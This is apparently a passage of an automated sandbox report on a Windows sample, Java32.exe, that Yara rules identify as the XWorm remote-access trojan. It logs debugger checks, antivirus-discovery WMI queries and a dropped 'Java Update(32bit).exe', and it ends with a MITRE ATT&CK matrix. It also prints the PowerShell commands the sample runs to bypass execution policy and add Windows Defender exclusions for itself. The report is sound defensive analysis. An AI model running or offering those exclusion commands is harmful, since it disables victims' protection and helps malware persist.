Code function: 0_2_00007FF848F1287A CheckRemoteDebuggerPresent,

0_2_00007FF848F1287A

Source: C:\Users\user\Desktop\Java32.exe

Process queried: DebugPort

Source: C:\Users\user\Desktop\Java32.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\Java32.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Java32.exe'
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update(32bit).exe'
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Java32.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update(32bit).exe'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\Desktop\Java32.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Java32.exe'

Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Java32.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java32.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update(32bit).exe'	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java Update(32bit).exe'	Jump to behavior

Source: C:\Users\user\Desktop\Java32.exe	Queries volume information: C:\Users\user\Desktop\Java32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Java32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\Java32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: Java32.exe, 00000000.00000002.3311884438.000000001CA30000.00000004.00000020.00020000.00000000.sdmp, Java32.exe, 00000000.00000002.3307497139.000000001BEBF000.00000004.00000020.00020000.00000000.sdmp, Java32.exe, 00000000.00000002.3307497139.000000001BE64000.00000004.00000020.00020000.00000000.sdmp, Java32.exe, 00000000.00000002.3276229383.000000000108C000.00000004.00000020.00020000.00000000.sdmp, Java32.exe, 00000000.00000002.3307497139.000000001BF07000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\Java32.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: Java32.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Java32.exe.b60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Java32.exe.12ee1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2003941272.0000000000B62000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3280755045.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3304438638.0000000012EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Java32.exe PID: 6520, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Java Update(32bit).exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: Java32.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Java32.exe.b60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Java32.exe.12ee1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2003941272.0000000000B62000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3280755045.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3304438638.0000000012EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Java32.exe PID: 6520, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Java Update(32bit).exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	2 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	541 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	2 Registry Run Keys / Startup Folder	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
